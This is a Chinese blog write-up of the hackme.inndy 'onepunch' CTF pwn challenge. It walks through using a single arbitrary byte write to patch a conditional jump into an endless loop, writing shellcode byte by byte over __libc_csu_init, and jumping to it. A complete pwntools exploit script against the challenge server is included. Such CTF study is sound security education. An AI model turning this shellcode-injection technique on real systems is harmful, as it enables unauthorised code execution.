做的题太少了,不知道应该把这种题目如何归类

int __cdecl main(int argc, const char **argv, const char **envp)
{……v5 = __isoc99_scanf("%llx %d", &v6, &v4);if ( v5 != 2 )return 0;*v6 = v4;……return 0;
}

题目只提供了一个功能:读取两个数,第一个值为内存地址,第二个值为写入的数

也即:我们可以完成一次任意地址写,写入最多一个int

写一次没有什么用 => 写入多次就有用了!可以把我们的shellcode布置到代码中,直接运行即可

如何写入多次 => 利用第一次的内存写入,把循环跳转改成main中的死循环~~~

.text:0000000000400756                               loc_400756:                             ; CODE XREF: main+5B↑j
.text:0000000000400756 48 8B 45 F0                                   mov     rax, [rbp+var_10]
.text:000000000040075A 8B 55 E8                                      mov     edx, [rbp+var_18]
.text:000000000040075D 88 10                                         mov     [rax], dl
.text:000000000040075F 8B 45 E8                                      mov     eax, [rbp+var_18]
.text:0000000000400762 3D FF 00 00 00                                cmp     eax, 0FFh
.text:0000000000400767 75 0A                                         jnz     short loc_400773
.text:0000000000400769 BF 28 08 40 00                                mov     edi, offset s   ; "No flag for you"
.text:000000000040076E E8 ED FD FF FF                                call    _puts

注意到这里的0x400767处的75 0A,如果把这里的判断跳转,改为强制跳转到main,即可完成死循环操作。剩下的就是把shellcode布置好

Edit - Patch Program - Assemble:

注意这里不能改成jmp main

jmp和jnz是不同的指令操作,会导致不仅要修改指令,还得修改偏移,但是我们只能修改一次

第一步:输入0x400768 137

第二步:

找到一串我们控制的地址,不影响程序运行,就可以写入shellcode

__libc_csu_init的代码在运行main之前已经使用过,现在已经无用,所以可以覆盖

第三步:

再控制0x400768到__libc_csu_init的地址,执行shellcode

#!/usr/bin/env python
# coding=utf-8from pwn import *context(arch = "amd64")
#io = process("./onepunch")
io = remote("hackme.inndy.tw", 7718)#jnz main
io.recv()
io.sendline("0x400768 137")#shellcode =>__libc_csu_init
payload = asm(shellcraft.sh())
l = len(payload)
i = 0
addr = 0x400790
while i < l:io.recv()io.sendline(str(hex(addr + i)) + " " + str(ord(payload[i])))i += 1#jnz __libc_csu_init(get shell)
io.recv()
io.sendline("0x400768 39")io.interactive()

要注意这里有个坑

因为我们用了pwntools的工具来自动生成shellcode,所以需要制定平台架构为64位系统(不填默认为32位,就会报错)

hackme pwn onepunch相关推荐

  1. hackme inndy pwn onepunch writeup

    继续来做题目,这次的pwn主要功能是一个任意地址写一个字节,然后就结束.... 然后找了半天...完全没思路...一个字节只能写一次.... 然后找了下别人的wp,发现代码段居然可以写,那骚操作就可以 ...

  2. Hackme.inndy - Onepunch

    Onepunch 这个题的想法必须得称妙了,需要对以往简单的认知进行一定的颠覆. 特殊性在于程序的代码段(0x401000)具有写权限 1.通过修改程序代码段控制程序流程 程序中只能对任意一个字节改写 ...

  3. linux kernal pwn STARCTF 2019 hackme(三)userfaultfd机制修改cred

    首先再熟悉一下userfaultfd机制 内存页的分配是创建时先分配页表但并不会实际分配物理页面.在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写 ...

  4. onepunch的wp

    https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了onepunch这个题目感觉还不错,我把wp分享出来,方便大家学习 onepunch的题目要求是: nc ha ...

  5. hackme.inndy.tw的一些Writeup(5月30更新)

    hackme.inndy.tw的一些Writeup(6月3日更新) 原文链接:http://www.cnblogs.com/WangAoBo/p/7706719.html 推荐一下https://ha ...

  6. 攻防世界pwn高手进阶(持续更新)

    文章目录 dice_game warmup forgot stack2 pwn-100 mary_morton monkey pwn1 dice_game IDA看一下: 这个和新手训练的guess_ ...

  7. hackme.inndy rsbo2 经验总结

    这题想用retdl-resolve 来解题,可是自己手写的脚本过不了,搜过其他的wp,发现有很多种解法,利用DynELF泄露libc地址, 或利用write直接泄露libc地址(题目给了libc),但 ...

  8. [Dest0g3 pwn] ez_pwn,ea_aarch,dest_love,ezuaf

    这回的pwn都用的高版本libc,各网站上一般都是2.23,2.27以前几年的题,高版本的很少,所以练了半天还不大会,只作了4个简单点的.另外两个已经弄到任意写了,但没找着往哪写管用放弃了. 目录 e ...

  9. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

最新文章

  1. python语言程序设计基础网课-Python语言程序设计基础答案
  2. Requests库网络爬虫实战
  3. Cucumber 相关资源
  4. mysql_install_db创建空库_MySQL数据库的初始化mysql_install_db
  5. t-sql的执行顺序
  6. 程序员必备智力题集锦 (典藏版)
  7. CSS3------ 按钮闪光划过效果
  8. Ubuntu安装摄像头驱动
  9. python小说电子书阅读系统毕业设计开题报告
  10. ncnn DataReaderExtractorblob
  11. 统计套利之平稳性检验
  12. android版iphone6s,不必羡慕iPhone6S!安卓也能用Live Photo
  13. 清明时节雨纷纷路-清明节习俗、诗词欣赏
  14. Gopher China 2019 讲师专访-腾讯/TARS开源团队核心成员陈明杰
  15. unity Text文字淡入效果
  16. 来聊聊云计算能否彻底改变业务和软件架构
  17. Powershell知识点1:开启脚本限制 报错:无法加载文件,因为在此系统中禁止执行脚本
  18. excel两列乱序姓名如何一一对应 excel 两列数据自动配对
  19. 计算机毕业论文选题推荐|软件工程|系列二
  20. ae合成设置快捷键_郑州UI设计学习进阶之AE导出GIF动画方法分享

热门文章

  1. 炒菜机器人“精确”破题中餐标准化
  2. 前端面试题总结(转载)
  3. LVGL学习——初识动画 lv_anim_t
  4. AdGuard免费的电脑手机广告拦截程序
  5. 基于低代码开发平台实现集团战略督办管理系统
  6. H3C无线AC+AP配置2—有密码登录
  7. 第十三届蓝桥杯 EDA 设计与开发科目 模拟试题(详细解读)
  8. java基础回顾-day01
  9. WebDAV是什么,有哪些支持webdav的网盘和工具?
  10. Linux上:使用VMware17安装Centos8.5并配置网络、WSL安装Ubuntu、